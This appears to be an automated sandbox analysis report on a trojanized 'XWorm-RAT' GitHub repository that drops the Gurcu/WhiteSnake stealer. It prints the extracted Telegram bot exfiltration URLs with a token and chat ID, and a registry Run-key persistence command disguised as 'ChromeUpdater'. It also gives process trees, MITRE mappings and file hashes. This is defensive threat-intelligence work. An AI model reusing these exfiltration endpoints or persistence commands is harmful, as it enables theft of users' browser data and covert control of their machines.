gurcu | hxxps://github[.]com/Intestio/XWorm-RAT[.]git

Analysis

max time kernel
299s
max time network
301s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
29-06-2024 19:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Intestio/XWorm-RAT.git

Score

10^/10

gurcu agilenet persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb)%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%84%20-%20BrowserDownloads.txt%20(0.21%20kb

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Executes dropped EXE 2 IoCs

pid	Process
768	Command Reciever.exe
4504	Update.exe

Loads dropped DLL 3 IoCs

pid	Process
768	Command Reciever.exe
4504	Update.exe
2992	XHVNC.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/2992-382-0x0000000006960000-0x0000000006B84000-memory.dmp	agile_net

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3433428765-2473475212-4279855560-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogger\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
38	raw.githubusercontent.com
40	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Command Reciever.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Command Reciever.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3332	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
432	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3433428765-2473475212-4279855560-1000_Classes\Local Settings	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3376	reg.exe

NTFS ADS 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\XWorm-RAT-main.zip:Zone.Identifier	msedge.exe
File created	C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe\:Zone.Identifier:$DATA	XWorm RAT V2.1.exe
File created	C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe\:Zone.Identifier:$DATA	Command Reciever.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4676	msedge.exe
4676	msedge.exe
2512	msedge.exe
2512	msedge.exe
4524	identity_helper.exe
4524	identity_helper.exe
344	msedge.exe
344	msedge.exe
2212	msedge.exe
2212	msedge.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
3452	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
768	Command Reciever.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe
4504	Update.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3452	Command Reciever.exe
2992	XHVNC.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	768	Command Reciever.exe
Token: SeDebugPrivilege	432	tasklist.exe
Token: SeDebugPrivilege	4504	Update.exe

Suspicious use of FindShellTrayWindow 56 IoCs

pid	Process
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
3452	Command Reciever.exe
3452	Command Reciever.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
2512	msedge.exe
3452	Command Reciever.exe
3452	Command Reciever.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4504	Update.exe
2992	XHVNC.exe
2992	XHVNC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 1168	2512	msedge.exe	78
PID 2512 wrote to memory of 1168	2512	msedge.exe	78
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 3668	2512	msedge.exe	79
PID 2512 wrote to memory of 4676	2512	msedge.exe	80
PID 2512 wrote to memory of 4676	2512	msedge.exe	80
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81
PID 2512 wrote to memory of 4828	2512	msedge.exe	81

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Intestio/XWorm-RAT.git
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc6db3cb8,0x7ffcc6db3cc8,0x7ffcc6db3cd8
  2⤵
  PID:1168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1940 /prefetch:2
  2⤵
  PID:3668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
  2⤵
  PID:4828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:4444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:2568
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5236 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5416 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:1
  2⤵
  PID:2716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
  2⤵
  PID:3120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
  2⤵
  PID:588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5932 /prefetch:1
  2⤵
  PID:4352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5988 /prefetch:1
  2⤵
  PID:1744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6560 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,12684424536578484603,2085710330398980005,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4756 /prefetch:2
  2⤵
  PID:1976

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1172

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:920

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1084

C:\Users\Admin\Desktop\XWorm-RAT-main\XWorm RAT V2.1\XWorm RAT V2.1.exe
"C:\Users\Admin\Desktop\XWorm-RAT-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"
1⤵
- NTFS ADS
PID:4424
- C:\Users\Admin\Desktop\XWorm-RAT-main\XWorm RAT V2.1\Command Reciever.exe
  "C:\Users\Admin\Desktop\XWorm-RAT-main\XWorm RAT V2.1\Command Reciever.exe"
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3452
- C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp7DF5.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp7DF5.tmp.bat
    3⤵
    PID:2820
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 768"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:432
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:2408
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3332
  - - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe
      "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4504
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
        5⤵
        
        PID:2376
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3376

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:920

C:\Users\Admin\Desktop\XWorm-RAT-main\XWorm RAT V2.1\XHVNC.exe
"C:\Users\Admin\Desktop\XWorm-RAT-main\XWorm RAT V2.1\XHVNC.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a8e4bf11ed97b6b312e938ca216cf30e

SHA1
ff6b0b475e552dc08a2c81c9eb9230821d3c8290

SHA256
296db8c9361efb62e23be1935fd172cfe9fbcd89a424f34f347ec3cc5ca5afad

SHA512
ce1a05df2619af419ed3058dcbd7254c7159d333356d9f1d5e2591c19e17ab0ac9b6d3e625e36246ad187256bee75b7011370220ef127c4f1171879014d0dd76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
23da8c216a7633c78c347cc80603cd99

SHA1
a378873c9d3484e0c57c1cb6c6895f34fee0ea61

SHA256
03dbdb03799f9e37c38f6d9d498ad09f7f0f9901430ff69d95aa26cae87504d3

SHA512
d34ae684e8462e3f2aba2260f2649dee01b4e2138b50283513c8c19c47faf039701854e1a9cbf21d7a20c28a6306f953b58ffb9144ead067f5f73650a759ff17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
7ca8204535eee8f6ed6dcdc49b02e989

SHA1
46d22d590ba9f43839c03aa3a09231f2a51971a8

SHA256
ec407bf55764a6cf463cf539dc412c3c3d7c8766e4099cdcf691d2f27dad9864

SHA512
b3da14ceb1a1fb47ecd82afad66cf290bb3c395a83f28438316e39740effa14cbbc52532f8424f0c7cbfe58d50114965085b01db5ecb77a2c26a190b5a5edc46

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
116KB

MD5
4249c2c53ed29f78a997ee15f5a74225

SHA1
073ac2ed79865e9952f08e873b4489a70ec87a99

SHA256
2b832589fc81457884a5c40af4857a7e676368b8a280433aae7f4ff2758cfbf7

SHA512
0de270b6d33d05408a565b5384f27b1e82dce164847318b03233b414bd0aad75768f4b1973b174cdbd0ec62532258120cb1c3e76c3d211f6cd7c670356f072b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
672B

MD5
8dc680cca03755717922c40f71789706

SHA1
b45e2418c65c4d848ba2171016bfe9cfb4730e7a

SHA256
094b4d4d5cc17f2759182d624733cadc29372d93a3b06c0117b5ec460a74646e

SHA512
314016e54caf0317fc898e054944283e40a22284483b35010034b275ddb4c345ee13bde3b9e6dc748a2ef9f5bcbb275426a9f7ce7f02886e4cf9902e0b8b037a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
713f27e04f77c57d0e47d5d5558eb2f2

SHA1
849effee86e5dd4284098fe48b434c36b2019660

SHA256
76b88ea608027a31df07086ed4c74efdf31f6861ef31f225c34e45f9d62557b8

SHA512
d4b61fa52a8b5f9efe45bc44b66d8a9abd8c4e06a5b81e7ee9c3fd33d6ee95b7f212470e1e7d37087799f538bd104070776050f6a9d9961f7e3bfe0dbb3cf828

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
0203b5435718406cefa2579b4825e17a

SHA1
bcb7620d079c316c0c8b133332794493402bc5ce

SHA256
428f9017c826cbdec0fc83ec50c37b466d556527291b2c5a39b221d620409d9d

SHA512
db709c318b396c8cae3cb1f1465d535b4ef627d3855c56dd6a716be2c3d18757cf69f5ee5fb8b2c96f2ec3b9443b33acf842335ab76109a343cbd0c28667d028

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
34cf10544d08e6e4fd58425f09661dab

SHA1
459fc89c4671f2259a146a09275cc6d9cc1d3b0c

SHA256
916188b50cd12d9b3cd246bedf111f932e71fc5a6ec3d174bd3866ec2bbfb425

SHA512
84ca60d1b1c49e2f1d9e25d38b894afc3a258f03ee6512d57a104d2a6cb4669a96192e3e9c4f6ff4488477398a16e410714f62f456bdc7cc3e3520abb7466511

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
c9ad332db315a2c74341d359f82ae683

SHA1
f78db741234163dc8c6a18ec3d68fa87a0af01e5

SHA256
b58a8a5de2f7148adff357c81ca7b00ceed3abc8b2eefdaf9bbbcf5bfc7b67fc

SHA512
82294040815dc05fcaed0bafd4f305399bad80bcc8e01722b620a05d3b692c402d67e0d60ce570c5f80d5c47d725c7be6ad2b742264989ab6ef86908c66bddfe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe580e91.TMP

Filesize
1KB

MD5
feab7f4a0bedcc658c961cec43942325

SHA1
771b03e57f0362889fe7fb976a068b36a4f42ceb

SHA256
d7d52ef58bd1008b353ad3432743c53d9fe37382fe5c25e720f34cf331e92790

SHA512
a441790f6227486a453e0bb241dc2180c19a9ee3b658a72b3a49b2231e70a4d48307e9f73cdb8e6e0196ced138d87f8a08ae66057b040100add011b5fb498fbf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

